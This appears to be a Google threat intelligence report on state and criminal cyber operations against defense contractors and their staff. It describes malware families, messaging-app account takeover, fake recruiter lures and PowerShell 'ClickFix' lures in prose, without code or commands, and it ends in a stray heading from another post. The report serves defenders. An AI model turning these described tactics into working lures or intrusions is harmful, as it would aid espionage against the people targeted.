Reading view

Beyond the Battlefield: Threats to the Defense Industrial Base

Introduction 

In modern warfare, the front lines are no longer confined to the battlefield; they extend directly into the servers and supply chains of the industry that safeguards the nation. Today, the defense sector faces a relentless barrage of cyber operations conducted by state-sponsored actors and criminal groups alike. In recent years, Google Threat Intelligence Group (GTIG) has observed several distinct areas of focus in adversarial targeting of the defense industrial base (DIB). While not exhaustive of all actors and means, some of the more prominent themes in the landscape today include: 

  • Consistent effort has been dedicated to targeting defense entities fielding technologies on the battlefield in the Russia-Ukraine War. As next-generation capabilities are being operationalized in this environment, Russia-nexus threat actors and hacktivists are seeking to compromise defense contractors alongside military assets and systems, with a focus on organizations involved with unmanned aircraft systems (UAS). This includes targeting defense companies directly, using themes mimicking their products and systems in intrusions against military organizations and personnel. 

  • Across global defense and aerospace firms, the direct targeting of employees and exploitation of the hiring process has emerged as a key theme. From the North Korean IT worker threat, to the spoofing of recruitment portals by Iranian espionage actors, to the direct targeting of defense contractors' personal emails, GTIG continues to observe a multifaceted threat landscape that centers around personnel, and often in a manner that evades traditional enterprise security visibility.    

  • Among state-sponsored cyber espionage intrusions over the last two years analysed by GTIG, threat activity from China-nexus groups continues to represent by volume the most active threat to entities in the defense industrial base. While these intrusions continue to leverage an array of tactics, campaigns from actors such as UNC3886 and UNC5221 highlight how the targeting of edge devices and appliances as a means of initial access has increased as a tactic by China-nexus threat actors, and poses a significant risk to the defense and aerospace sector. In comparison to the Russia-nexus threats observed on the battlefield in Ukraine, these could support more preparatory access or R&D theft missions. 

  • Lastly, contemporary national security strategy relies heavily on a secure supply chain. Since 2020, manufacturing has been the most represented sector across data leak sites (DLS) that GTIG tracks associated with ransomware and extortive activity. While dedicated defense and aerospace organizations represent a small fraction of similar activity, the broader manufacturing sector includes many companies that provide dual-use components for defense applications, and this statistic highlights the cyber risk the industrial base supply chain is exposed to. The ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks. Additionally, the global resurgence of hacktivism, and actors carrying out hack and leak operations, DDoS attacks, or other forms of disruption, has impacted the defense industrial base. 

Across these themes we see further areas of commonality. Many of the chief state-sponsors of cyber espionage and hacktivist actors have shown an interest in autonomous vehicles and drones, as these platforms play an increasing role in modern warfare. Further, the “evasion of detection” trend first highlighted in the Mandiant M-Trends 2024 report continues, as actors focus on single endpoints and individuals, or carry out intrusions in a manner that seeks to avoid endpoint detection and response (EDR) tools altogether. All of this contributes to a contested and complex environment that challenges traditional detection strategies, requiring everyone from security practitioners to policymakers to think creatively in countering these threats. 

1. Longstanding Russian Targeting of Critical and Emerging Defense Technologies in Ukraine and Beyond 

Russian espionage actors have demonstrated a longstanding interest in Western defense entities. While Russia's full-scale invasion of Ukraine began in February 2022, the Russian government has long viewed the conflict as an extension of a broader campaign against Western encroachment into its sphere of influence, and has accordingly targeted both Ukrainian and Western military and defense-related entities via kinetic and cyber operations. 

Russia's use of cyber operations in support of military objectives in the war against Ukraine and beyond is multifaceted. On a tactical level, targeting has broadened to include individuals in addition to organizations in order to support frontline operations and beyond, likely due at least in part to the reliance on public and off-the-shelf technology rather than custom products. Russian threat actors have targeted secure messaging applications used by the Ukrainian military to communicate and orchestrate military operations, including via attempts to exfiltrate locally stored databases of these apps, such as from mobile devices captured during Russia's ongoing invasion of Ukraine. This compromise of individuals' devices and accounts poses a challenge in various ways—for example, such activity often occurs outside spaces that are traditionally monitored, meaning a lack of visibility for defenders in monitoring or detecting such threats. GTIG has also identified attempts to compromise users of battlefield management systems such as Delta and Kropyva, underscoring the critical role played by these systems in the orchestration of tactical efforts and dissemination of vital intelligence. 

More broadly, Russian espionage activity has also encompassed the targeting of Ukrainian and Western companies supporting Ukraine in the conflict or otherwise focused on developing and providing defensive capabilities for the West. This has included the use of infrastructure and lures themed around military equipment manufacturers, drone production and development, anti-drone defense systems, and surveillance systems, indicating the likely targeting of organizations with a need for such technologies.

APT44 (Sandworm, FROZENBARENTS)

APT44, attributed by multiple governments to Unit 74455 within the Russian Armed Forces' Main Intelligence Directorate (GRU), has attempted to exfiltrate information from Telegram and Signal encrypted messaging applications, likely via physical access to devices obtained during operations in Ukraine. While this activity extends back to at least 2023, we have continued to observe the group making these attempts. GTIG has also identified APT44 leveraging WAVESIGN, a Windows Batch script responsible for decrypting and exfiltrating data from Signal Desktop. Multiple governments have also reported on APT44's use of INFAMOUSCHISEL, malware designed to collect information from Android devices including system device information, commercial application information, and information from Ukrainian military apps. 

TEMP.Vermin

TEMP.Vermin, an espionage actor whose activity Ukraine's Computer Emergency Response Team (CERT-UA) has linked to security agencies of the so-called Luhansk People's Republic (LPR, also rendered as LNR), has deployed malware including VERMONSTER, SPECTRUM (publicly reported as Spectr), and FIRMACHAGENT via the use of lure content themed around drone production and development, anti-drone defense systems, and video surveillance security systems. Infrastructure leveraged by TEMP.Vermin includes domains masquerading as Telegram and involve broad aerospace themes including a domain that may be a masquerade of an Indian aerospace company focused on advanced drone technology.

Lure document used by TEMP.Vermin

Figure 1: Lure document used by TEMP.Vermin

UNC5125

UNC5125 has conducted highly targeted campaigns focusing on frontline drone units. Its collection efforts have included the use of a questionnaire hosted on Google Forms to conduct reconnaissance against prospective drone operators; the questionnaire purports to originate from Dronarium, a drone training academy, and solicits personal information from targets, notably including military unit information, telephone numbers, and preferred mobile messaging apps. UNC5125 has also conducted malware delivery operations via these messaging apps. In one instance, the cluster delivered the MESSYFORK backdoor (publicly reported as COOKBOX) to an UAV operator in Ukraine.

UNC5125 Google Forms questionnaire purporting to originate from Dronarium drone training academy

Figure 2: UNC5125 Google Forms questionnaire purporting to originate from Dronarium drone training academy

We also identified suspected UNC5125 activity leveraging Android malware we track as GREYBATTLE, which was delivered via a website spoofing a Ukrainian military artificial intelligence company. GREYBATTLE, a customized variant of the Hydra banking trojan, is designed to extract credentials and data from compromised devices.

Note: Android users with Google Play Protect enabled are protected against the aforementioned malware, and all known versions of the malicious apps identified throughout this report.

UNC5792

Since at least 2024, GTIG has identified this Russian espionage cluster exploiting secure messaging apps, targeting primarily Ukrainian military and government entities in addition to individuals and organizations in Moldova, Georgia, France, and the US. Notably, UNC5792 has compromised Signal accounts via the device-linking feature. Specifically, UNC5792 sent its targets altered "group invite" pages that redirected to malicious URLs crafted to link an actor-controlled device to the victim's Signal accounts allowing the threat actor to see victims’ message in real time. The cluster has also leveraged WhatsApp phishing pages and other domains masquerading as Ukrainian defense manufacturing and defense technology companies.

UNC4221

UNC4221, another suspected Russian espionage actor active since at least March 2022, has targeted secure messaging apps used by Ukrainian military personnel via tactics similar to those of UNC5792. For example, the cluster leveraged fake Signal group invites that redirect to a website crafted to elicit users to link their account to an actor-controlled Signal instance. UNC4221 has also leveraged WhatsApp phishing pages intended to collect geolocation data from targeted devices.

UNC4221 has targeted mobile applications used by the Ukrainian military in multiple instances, such as by leveraging Signal phishing kits masquerading as Kropyva, a tactical battlefield app used by the Armed Forces of Ukraine for a variety of combat functions including artillery guidance. Other Signal phishing domains used by UNC4221 masqueraded as a streaming service for UAVs used by the Ukrainian military. The cluster also leveraged the STALECOOKIE Android malware, which was designed to masquerade as an application for Delta, a situational awareness and battlefield management platform used by the Ukrainian military, to steal browser cookies.

UNC4221 has also conducted malware delivery operations targeting both Android and Windows devices. In one instance, the actor leveraged the "ClickFix" social engineering technique, which lured the target into copying and running malicious PowerShell commands via instructions referencing a Ukrainian defense manufacturer, in a likely attempt to deliver the TINYWHALE downloader. TINYWHALE in turn led to the download and execution of the MESHAGENT remote management software against a likely Ukrainian military entity.

UNC5976

Starting in January 2025, the suspected Russian espionage cluster UNC5976 conducted a phishing campaign delivering malicious RDP connection files. These files were configured to communicate with actor-controlled domains spoofing a Ukrainian telecommunications entity. Additional infrastructure likely used by UNC5976 included hundreds of domains spoofing defense contractors including companies headquartered in the UK, the US, Germany, France, Sweden, Norway, Ukraine, Turkey, and South Korea.

Identified UNC5976 credential harvesting infrastructure spoofing aerospace and defense firms

Figure 3: Identified UNC5976 credential harvesting infrastructure spoofing aerospace and defense firms

Wider UNC5976 phishing activity also included the use of drone-themed lure content, such as operational documentation for the ORLAN-15 UAV system, likely for credential harvesting efforts targeting webmail credentials.

Repurposed PDF document used by UNC5976 purporting to be operational documentation for the ORLAN-15 UAV system

Figure 4: Repurposed PDF document used by UNC5976 purporting to be operational documentation for the ORLAN-15 UAV system

UNC6096

In February 2025, GTIG identified the suspected Russian espionage cluster UNC6096 conducting malware delivery operations via WhatsApp Messenger using themes related to the Delta battlefield management platform. To target Windows users, the cluster delivered an archive file containing a malicious LNK file leading to the download of a secondary payload. Android devices were targeted via malware we track as GALLGRAB, a modified version of the publicly available "Android Gallery Stealer". GALLGRAB collects data that includes locally stored files, contact information, and potentially encrypted user data from specialized battlefield applications.

UNC5114

In October 2023, the suspected Russian espionage cluster UNC5114 delivered a variant of the publicly available Android malware CraxsRAT masquerading as an update for the Kropyva app, accompanied by a lure document mimicking official installation instructions.

Overcoming Technical Limitations with LLMs

GTIG has recently discovered a threat group suspected to be linked to Russian intelligence services which conducts phishing operations to deliver CANFAIL malware primarily against Ukrainian organizations. Although the actor has targeted Ukrainian defense, military, government, and energy organizations within the Ukrainian regional and national governments, the group has also shown significant interest in aerospace organizations, manufacturing companies with military and drone ties, nuclear and chemical research organizations, and international organizations involved in conflict monitoring and humanitarian aid in Ukraine. 

Despite being less sophisticated and resourced than other Russian threat groups, this actor recently began to overcome some technical limitations using LLMs. Through prompting, they conduct reconnaissance, create lures for social engineering, and seek answers to basic technical questions for post-compromise activity and C2 infrastructure setup.  

In more recent phishing operations, the actor masqueraded as legitimate national and local Ukrainian energy organizations to target organizational and personal email accounts. They also imitated a Romanian energy company that works with customers in Ukraine, targeted a Romanian organization, and conducted reconnaissance on Moldovan organizations. The group generates lists of email addresses to target based on specific regions and industries discovered through their research. 

Phishing emails sent by the actor contain a lure that based on analysis appears to be LLM-generated, uses formal language and a specific official template, and Google Drive links which host a RAR archive containing CANFAIL malware, often disguised with a .pdf.js double extension. CANFAIL is obfuscated JavaScript which executes a PowerShell script to download and execute an additional stage, most commonly a memory-only PowerShell dropper. It additionally displays a fake “error” popup to the victim.

This group’s activity has been documented by SentinelLABS and the Digital Security Lab of Ukraine in an October 2025 blog post detailing the “PhantomCaptcha" campaign, where the actor briefly used ClickFix in their operations.

Hacktivist Targeting of Military Drones 

A subset of pro-Russia hacktivist activity has focused on Ukraine’s use of drones on the battlefield. This likely reflects the critical role that drones have played in combat, as well as an attempt by pro-Russia hacktivist groups to claim to be influencing events on the ground. In late 2025, the pro-Russia hacktivist collective KillNet, for example, dedicated significant threat activity to this. After announcing the collective’s revitalization in June, the first threat activity claimed by the group was an attack allegedly disabling Ukraine’s ability to monitor its airspace for drone attacks. This focus continued throughout the year, culminating in a December announcement in which the group claimed to create a multifunctional platform featuring the mapping of key infrastructure like Ukraine’s drone production facilities based on compromised data. We further detail in the next section operations from pro-Russia hacktivists that have targeted defense sector employees.

2. Employees in the Crosshairs: Targeting and Exploitation of Personnel and HR Processes in the Defense Sector

Throughout 2025, adversaries of varying motivations have continued to target the "human layer" including within the DIB. By exploiting professional networking platforms, recruitment processes, and personal communications, threat actors attempt to bypass perimeter security controls to gain insider access or compromise personal devices. This creates a challenge for enterprise security teams, where much of this activity may take place outside the visibility of traditional security detections.

North Korea’s Insider Threat and Revenue Generation

Since at least 2019, the threat from the Democratic People’s Republic of Korea (DPRK) began evolving to incorporate internal infiltration via “IT workers” in addition to traditional network intrusion. This development, driven by both espionage requirements and the regime’s need for revenue generation, continued throughout 2025 with recent operations incorporating new publicly available tools. In addition to public reporting, GTIG has also observed evidence of IT workers applying to jobs at defense related organizations. 

  • In June 2025, the US Department of Justice announced a disruption operation that included searches of 29 locations in 16 states suspected of being laptop farms and led to the arrest of a US facilitator and an indictment against eight international facilitators. According to the indictment, the accused successfully gained remote jobs at more than 100 US companies, including Fortune 500 companies. In one case, IT workers reportedly stole sensitive data from a California-based defense contractor that was developing AI technology

  • In 2025, a Maryland-based individual, Minh Phuong Ngoc Vong, was sentenced to 15 months in prison for their role in facilitating a DPRK ITW scheme. According to government documents, in coordination with a suspected DPRK IT worker, Vong was hired by a Virginia-based company to perform remote software development work for a government contract that involved a US government entity's defense program. The suspected DPRK IT worker used Vong’s credentials to log in and perform work under Vong’s identity, for which Vong was later paid, ultimately sending some of those funds overseas to the IT worker. 

The Industrialization of Job Campaigns 

Job-themed campaigns have become a significant and persistent operational trend among cyber threat actors, who leverage employment-themed social engineering as a high-efficacy vector for both espionage and financial gain. These operations exploit the trust inherent in the online job search, application, and interview processes, masquerading malicious content as job postings, fake job offers, recruitment documents, and malicious resume-builder applications to trick high-value personnel into deploying malware or providing credentials. 

North Korean Cyber Operations Targeting Defense Sector Employees 

North Korean cyber espionage operations have targeted defense technologies and personnel using employment themed social engineering. GTIG has directly observed campaigns conducted by APT45, APT43, and UNC2970 specifically target individuals at organizations within the defense industry.  

  • GTIG identified a suspected APT45 operation leveraging the SMALLTIGER malware to reportedly target South Korean defense, semiconductor, and automotive manufacturing entities. Based on historical activity, we suspect this activity is conducted at least in part to acquire intellectual property to support the North Korean regime in its research and development efforts in the targeted industries; South Korea's National Intelligence Service (NIS) has also reported on North Korean attempts to steal intellectual property toward the aims of producing its own semiconductors for use in its weapons programs.

  • GTIG identified suspected APT43 infrastructure mimicking German and U.S. defense-related entities, including a credential harvesting page and job-themed lure content used to deploy the THINWAVE backdoor. Related infrastructure was also used by HANGMAN.V2, a backdoor used by APT43 and suspected APT43 clusters.  

  • UNC2970 has consistently focused on defense targeting and impersonating corporate recruiters in their campaigns. The cluster has used Gemini to synthesize open-source intelligence (OSINT) and profile high-value targets to support campaign planning and reconnaissance. UNC2970’s target profiling included searching for information on major cybersecurity and defense companies and mapping specific technical job roles and salary information. This reconnaissance activity is used to gather the necessary information to create tailored, high-fidelity phishing personas and identify potential targets for initial compromise.

Content of a suspected APT43 phishing page

Figure 5: Content of a suspected APT43 phishing page

Iranian Threat Actors Use Recruitment-Themed Campaigns to Target Aerospace and Defense Employees

GTIG has observed Iranian state-sponsored cyber actors consistently leverage employment opportunities and exploit trusted third-party relationships in operations targeting the defense and aerospace sector. Since at least 2022, groups such as UNC1549 and UNC6446 have used spoofed job portals, fake job offer lures, as well as malicious resume-builder applications for defense firms, some of which specialize in aviation, aerospace, and UAV technology, to trick users/personnel into executing malware or giving up credentials under the guise of legitimate employment opportunities. 

  • GTIG has identified fake job descriptions, portals, and survey lures hosted on UNC1549 infrastructure masquerading as aerospace, technology, and thermal imaging companies, including drone manufacturing entities, to likely target personnel interested in major defense contractors. Likely indicative of their intended targeting, in one campaign UNC1549 leveraged a spoofed domain for a drone-related conference in Asia. 

    • UNC1549 has additionally gained initial access to organizations in the defense and aerospace sector by exploiting trusted connections with third-party suppliers. The group leverages compromised third-party accounts to exploit legitimate access pathways, often pivoting from service providers to their customers. Once access is gained, UNC1549 has focused on privilege escalation by targeting IT staff with malicious emails that mimic authentic processes to steal administrator credentials, or by exploiting less-secure third-party suppliers to breach the primary target’s infrastructure via legitimate remote access services like Citrix and VMware. Post-compromise activities often include credential theft using custom tools like CRASHPAD and RDP session hijacking to access active user sessions. 

Since at least 2022, the Iranian-nexus threat actor UNC6446 has used resume builder and personality test applications to deliver custom malware primarily to targets in the aerospace and defense vertical across the US and Middle East. These applications provide a user interface - including one likely designed for employees of a UK-based multinational aerospace and defense company - while malware runs in the background to steal initial system reconnaissance data.

Hiring-themed spear-phishing email sent by UNC1549

Figure 6: Hiring-themed spear-phishing email sent by UNC1549

UNC1549 fake job offer on behalf of DJI, a drone manufacturing company

Figure 7: UNC1549 fake job offer on behalf of DJI, a drone manufacturing company

China-Nexus Actor Targets Personal Emails of Defense Contractor Employees

China-nexus threat actor APT5 conducted two separate campaigns in mid to late 2024 and in May 2025 against current and former employees of major aerospace and defense contractors. While employees at one of the companies received emails to their work email addresses, in both campaigns, the actor sent spearphishes to employees’ personal email addresses. The lures were meticulously crafted to align with the targets' professional roles, geographical locations, and personal interests. Among the professional, industry, and training lures the actor leveraged included: 

  • Invitations to industry events, such as CANSEC (Canadian Association of Defence and Security Industries), MilCIS (Military Communications and Information Systems), and SHRM (Society for Human Resource Management). 

  •  Red Cross training courses references.

  • Phishing emails disguised as job offers.

Additionally, the actor also leveraged hyper-specific and personal lures related to the locations and activities of their targetings, including: 

  • Emails referencing a "Community service verification form" from a local high school near one of the contractor's headquarters.

  • Phishing emails using "Alumni tickets" for a university minor league baseball team, targeting employees who attended the university.

  • Emails purporting to be "open letters" to Boy Scouts of America camp or troop leadership, targeting employees known to be volunteers or parents.

  • Fake guides and registration information leveraging the 2024 election cycle for the state where the employees lived.

RU Hacktivists Targeting Personnel 

Doxxing remains a cornerstone of pro-Russia hacktivist threat activity, targeting both individuals within Ukraine’s military and security services as well as foreign allies. Some groups have centered their operations on doxxing to uncover members across specific units/organizations, while others use doxxing to supplement more diverse operations.

For example, in 2025, the group Heaven of the Slavs (Original Russian: НЕБО СЛАВЯН) claimed to have doxxed Ukrainian defense contractors and military officials; Beregini alleged to identify individuals who worked at Ukrainian defense contractors, including those that it claimed worked at Ukrainian naval drone manufacturers; and PalachPro claimed to have identified foreign fighters in Ukraine, and the group separately claimed to have compromised the devices of Ukrainian soldiers. Further hacktivist activity against the defense sector is covered in the last section of this report.

3. Persistent Area of Focus For China-Nexus Cyber Espionage Actors 

The defense industrial base has been an important target for China-nexus threat actors for as long as cyber operations have been used for espionage. One of the earliest observed compromises attributed to the Chinese military’s APT1 group was a firm in the defense industrial sector in 2007. While historical campaigns by actors such as APT40 have at times shown hyper-specific focus in sub-sectors of defense, such as maritime related technologies, in general the areas of defense targeting from China-nexus groups has spanned all domains and supply chain layers. Alongside this focus on defense systems and contractors, Chinese cyber espionage groups have steadily improved their tradecraft over the past several years, increasing the risk to this sector. 

GTIG has observed more China-nexus cyber espionage missions directly targeting defense and aerospace industry than from any other state-sponsored actors over the last two years. China-nexus espionage actors have used a broad range of tactics in operations, but the hallmark of many operations has been their exploitation of edge devices to gain initial access. We have also observed China-nexus threat groups leverage ORB networks for reconnaissance against defense industrial targets, which complicates detection and attribution.

Edge vs. not edge 0-days likely exploited by CN actors 2021

Figure 8: Edge vs. not edge zero-days likely exploited by CN actors 2021 — September 2025

Drawing from both direct observations and open-source research, GTIG assesses with high confidence that since 2020, Chinese cyber espionage groups have exploited more than two dozen zero-day (0-day) vulnerabilities in edge devices (devices that are typically placed at the edge of a network and often do not support EDR monitoring, such as VPNs, routers, switches, and security appliances) from ten different vendors. This observed emphasis on exploiting 0-days in edge devices likely reflects an intentional strategy to benefit from the tactical advantages of reduced opportunities for detection and increased rates of successful compromises.

While we have observed exploitation spread to multiple threat groups soon after disclosure, often the first Chinese cyber espionage activity sets we discover exploiting an edge device 0-day, such as UNC4841, UNC3886, and UNC5221, demonstrate extensive efforts to obfuscate their activity in order to maintain long-term access to targeted environments. Notably, in recent years, both UNC3886 and UNC5221 operations have directly impacted the defense sector, among other industries. 

  • UNC3886 is one of the most capable and prolific China-nexus threat groups GTIG has observed in recent years. While UNC3886 has targeted multiple sectors, their early operations in 2022 had a distinct focus on aerospace and defense entities. We have observed UNC3886 employ 17 distinct malware families in operations against DIB targets. Beyond aerospace and defense targets, UNC3886 campaigns have been observed impacting the telecommunications and technology sectors in the US and Asia.   

  • UNC5221 is a sophisticated, suspected China-nexus cyber espionage actor characterized by its focus on exploiting edge infrastructure to penetrate high-value strategic targets. The actor demonstrates a distinct operational preference for compromising perimeter devices—such as VPN appliances and firewalls—to bypass traditional endpoint detection, subsequently establishing persistent access to conduct long-term intelligence collection. Their observed targeting profile is highly selective, prioritizing entities that serve as "force multipliers" for intelligence gathering, such as managed service providers (MSPs), law firms, and central nodes in the global technology supply chain. The BRICKSTORM malware campaign uncovered in 2025, which we suspect was conducted by UNC5221, was notable for its stealth, with an average dwell time of 393 days. Organizations that were impacted spanned multiple sectors but included aerospace and defense. 

In addition to these two groups, GTIG has analysed other China-nexus groups impacting the defense sector in recent years. 

UNC3236 Observed Targeting U.S. Military and Logistics Portal

In 2024, GTIG observed reconnaissance activity associated with UNC3236 (linked to Volt Typhoon) against publicly hosted login portals of North American military and defense contractors, and U.S. and Canadian government domains related to North American infrastructure. The activity leveraged the ARCMAZE obfuscation network to obfuscate its origin. Netflow analysis revealed communication with SOHO routers outside the ARCMAZE network, suggesting an additional hop point to hinder tracking. Targeted entities included a Drupal web login portal used by defense contractors involved in U.S. military infrastructure projects. 

UNC6508 Search Terms Indicate Interest in Defense Contractors and Military Platforms

In late 2023, China-nexus threat cluster UNC6508 targeted a US-based research institution through a multi-stage attack that leveraged an initial REDCap exploit and custom malware named INFINITERED. This malware is embedded within a trojanized version of a legitimate REDCap system file and functions as a recursive dropper. It is capable of enabling persistent remote access and credential theft after intercepting the application's software upgrade process to inject malicious code into the next version's core files. 

The actor used the REDCap system access to collect credentials to access the victim’s email platform filtering rules to collect information related to US national security and foreign policy (Figure 10). GTIG assesses with low confidence that the actors likely sought to fulfill a set of intelligence collection requirements, though the nature and intended focus of the collection effort are unknown.

Categories of UNC6508 email forwarding triggers

Figure 9: Categories of UNC6508 email forwarding triggers

By August 2025, the actors leveraged credentials obtained via INFINITERED to access the institution's environment with legitimate, compromised administrator credentials. They abused the tenant compliance rules to dynamically reroute messages based on a combination of keywords and or recipients. The actors modified an email rule to BCC an actor-controlled email address if any of 150 regex-defined search terms or email addresses appeared in email bodies or subjects, thereby facilitating data exfiltration by forwarding any email that contained at least one of the terms related to US national security, military equipment and operations, foreign policy, and medical research, among others. About a third of the keywords referenced a military system or a defense contractor, with a notable amount related to UAS or counter-UAS systems.

4. Hack, Leak, and Disruption of the Manufacturing Supply Chain

Extortion operations continue to represent the most impactful cyber crime threat globally, due to the prevalence of the activity, the potential for disrupting business operations, and the public disclosure of sensitive data such as personally identifiable information (PII), intellectual property, and legal documents. Similarly, hack-and-leak operations conducted by geopolitically and ideologically motivated hacktivist groups may also result in the public disclosure of sensitive data. These data breaches can represent a risk to defense contractors via loss of intellectual property, to their employees due to the potential use of PII for targeting data, and to the defense agencies they support. Less frequently, both financially and ideologically motivated threat actors may conduct significant disruptive operations, such as the deployment of ransomware on operational technology (OT) systems or distributed-denial-of-service (DDoS) attacks.

Cyber Crime Activity Impacting the Defense Industrial Base and Broader Manufacturing and Industrial Supply Chain

While dedicated aerospace & defense organizations represent only about 1% of victims listed on data leak sites (DLS) in 2025, manufacturing organizations, many of which directly or indirectly support defense contracts, have consistently represented the largest share of DLS listings by count (Figure 11). This broader manufacturing sector includes companies that may provide dual-use components for defense applications. For example, a significant 2025 ransomware incident affecting a UK automotive manufacturer, who also produces military vehicles, disrupted production for weeks and reportedly affected more than 5,000 additional organizations. This highlights the cyber risk to the broader industrial supply chain supporting the defense capacity of a nation, including the ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks.

Percent of DLS victims in the manufacturing industry by quarter

Figure 10: Percent of DLS victims in the manufacturing industry by quarter

Threat actors also regularly share and/or advertise illicit access to or stolen data from aerospace and defense sector organizations. For example, the persona “miyako,” who has been active on multiple underground forums based on the use of the same username and Session ID, has advertised access to multiple, unnamed, defense contractors over time (Figure 11). While defense contractors are likely not attractive targets for many cyber criminals, given that these organizations typically maintain a strong security posture, a small subset of financially motivated actors may disproportionately target the industry due to dual motivations, such as a desire for notoriety or ideological motivations. For example, the BreachForums actor “USDoD” regularly shared or advertised access to data claimed to have been stolen from prominent defense-related organizations. In a bizarre 2023 interview, USDoD claimed the threat was misdirection and that they were actually targeting a consulting firm, NATO, CEPOL, Europol, and Interpol. USDoD further indicated that they had a personal vendetta and were not motivated by politics. In October 2024, Brazilian authorities arrested an individual accused of being USDoD.

Advertisement for “US Navy / USAF / USDoD Engineering Contractor”

Figure 11: Advertisement for “US Navy / USAF / USDoD Engineering Contractor”

Hacktivist Operations Targeting the Defense Industrial Base

Pro-Russia and pro-Iran hacktivism operations at times extend beyond simple nuisance-level attacks to high-impact operations, including data leaks and operational disruptions. Unlike financially motivated activity, these campaigns prioritize the exposure of sensitive military schematics and personal personnel data—often through "hack-and-leak" tactics—in an attempt to erode public trust, intimidate defense officials, and influence geopolitical developments on the ground. Robust geopolitically motivated hacktivist activity works not only to advance state interests but also can serve to complicate attribution of threat activity from state-backed actors, which are known to leverage hacktivist tactics for their own ends.

Notable 2025 hacktivist claims allegedly involving the defense industrial base

Figure 12: Notable 2025 hacktivist claims allegedly involving the defense industrial base

Pro-Russia Hacktivism Activity

Pro-Russia hacktivist actors have collectively dedicated a notable portion of their threat activity to targeting entities associated with Ukraine’s and Western countries’ militaries and in their defense sectors. As we have previously reported, GTIG observed a revival and intensification of activity within the pro-Russia hacktivist ecosystem in response to the launch of Russia’s full-scale invasion of Ukraine in February 2022. The vast majority of pro-Russia hacktivist activity that we have subsequently tracked has likewise appeared intended to advance Russia’s interests in the war. As with the targeting of other high-profile organizations, at least some of this activity appeared primarily intended to generate media attention. However, a review of the related threat activity observed in 2025 also suggest that actors targeting military/defense sectors had more diverse objectives, including seeding influence narratives, monetizing claimed access, and influencing developments on the ground. Some observed attack/targeting trends over the last year include the following:

  • DDoS Attacks: Multiple pro-Russia hacktivist groups have claimed distributed denial-of-service (DDoS) attacks targeting government and private organizations involved in defense. This includes multiple such attacks claimed by the group NoName057(16), which has prolifically leveraged DDoS attacks to attack a range of targets. While this often may be more nuisance-level activity, it demonstrates at the most basic level how defense sector targeting is a part of hacktivist threat activity that is broadly oriented toward targeting entities in countries that support Ukraine. 

  • Network Intrusion: In limited instances, pro-Russia groups claimed intrusion activity targeting private defense-sector organizations. Often this was in support of hack and leak operations. For example, in November 2025, the group PalachPro claimed to have targeted multiple Italian defense companies, alleging that they exfiltrated sensitive data from their networks—in at least one instance, PalachPro claimed it would sell this data; that same month, the group Infrastructure Destruction Squad claimed to have launched an unsuccessful attack targeting a major US arms producer.  

  • Document Leaks: A continuous stream of claimed or otherwise implied hack and leak operations has targeted the Ukrainian military and the government and private organizations that support Ukraine. Beregini and JokerDNR (aka JokerDPR) are two notable pro-Russia groups engaged in this activity, both of which regularly disseminate documents that they claim are related to the administration of Ukraine’s military, coordination with Ukraine’s foreign partners, and foreign weapons systems supplied to Ukraine. GTIG cannot confirm the potential validity of all the disseminated documents, though in at least some instances the sensitive nature of the documents appears to be overstated. 

    • Often, Beregini and JokerDNR leverage this activity to promote anti-Ukraine narratives, including those that appear intended to reduce domestic confidence in the Ukrainian government by alleging things like corruption and government scandals, or that Ukraine is being supplied with inferior equipment

Pro-Iran Hacktivism Activity

Pro-Iran hacktivist threat activity targeting the defense sector has intensified significantly following the onset of the Israel-Hamas conflict in October 2023. These operations are characterized by a shift from nuisance-level disruptive attacks to sophisticated "hack-and-leak" campaigns, supply chain compromises, and aggressive psychological warfare targeting military personnel. Threat actors such as Handala Hack, Cyber Toufan, and the Cyber Isnaad Front have prioritized the Israeli defense industrial base—compromising manufacturers, logistics providers, and technology firms to expose sensitive schematics, personnel data, and military contracts. The objective of these campaigns is not merely disruption but the degradation of Israel’s national security apparatus through the exposure of military capabilities, the intimidation of defense sector employees via "doxxing," and the erosion of public trust in the security establishment. 

  • The pro-Iran persona Handala Hack, which GTIG has observed publicize threat activity associated with UNC5203, has consistently targeted both the Israeli Government, as well as its supporting military-industrial complex. Threat activity attributed to the persona has primarily consisted of hack-and-leak operations, but has increasingly incorporated doxxing and tactics designed to promote fear, uncertainty, and doubt (FUD). 

    • On the two-year anniversary of al-Aqsa Flood, the day which Hamas-led militants attacked Israel, Handala launched “Handala RedWanted,” an actor-controlled website supporting a concerted doxxing/intimidation campaign targeting members of Israel’s Armed Forces, its intelligence and national security apparatus, and both individuals and organizations the group claims to comprise Israel’s military-industrial complex. 

    • Following the announcement of RedWanted, the persona has recently signaled an expansion of its operations vis-a-vis the launch of “Handala Alert.” Significant in terms of a potential expansion in the group’s external targeting calculus, which has long prioritized Israel, is a renewed effort by Handala to “support anti-regime activities abroad.” 

  • Ongoing campaigns such as those attributed to the Pro-Iran personas Cyber Toufan (UNC5318) and الجبهة الإسناد السيبرانية (Cyber Isnaad Front) are additionally demonstrative of the broader ecosystem’s longstanding prioritization of the defense sector. 

    • Leveraging a newly-established leak channel on Telegram (ILDefenseLeaks), Cyber Toufan has publicized a number of operations targeting Israel’s military-industrial sector, most of which the group claims to have been the result of a supply chain compromise resulting from its breach of network infrastructure associated with an Israeli defense contractor. According to Cyber Toufan, access to this contractor resulted in the compromise of at least 17 additional Israeli defense contractor organizations.

    • While these activities have prioritized the targeting of Israel specifically, claimed operations have in limited instances impacted other countries. For example, recent threat activity publicized by Cyber Isnaad Front also surrounding the alleged compromise of the aforementioned Israeli defense contractor leaked information involving reported plans by the Australian Defense Force to purchase Spike NLOS anti-tank missiles from Israel

Conclusion 

Given global efforts to increase defense investment and develop new technologies the security of the defense sector is more important to national security than ever. Actors supporting nation state objectives have interest in the production of new and emerging defense technologies, their capabilities, the end customers purchasing them, and potential methods for countering these systems. Financially motivated actors carry out extortion against this sector and the broader manufacturing base like many of the other verticals they target for monetary gain. 

While specific risks vary by geographic footprint and sub-sector specialization, the broader trend is clear: the defense industrial base is under a state of constant, multi-vector siege. The campaigns against defense contractors in Ukraine, threats to or exploitation of defense personnel, the persistent volume of intrusions by China-nexus actors, and the hack, leak, and disruption of the manufacturing base are some of the leading threats to this industry today. To maintain a competitive advantage, organizations must move beyond reactive postures. By integrating these intelligence trends into proactive threat hunting and resilient architecture, the defense sector can ensure that the systems protecting the nation are not compromised before they ever reach the field.

  •  

UNC1069 Targets Cryptocurrency Sector with New Tooling and AI-Enabled Social Engineering

Written by: Ross Inman, Adrian Hernandez


Introduction

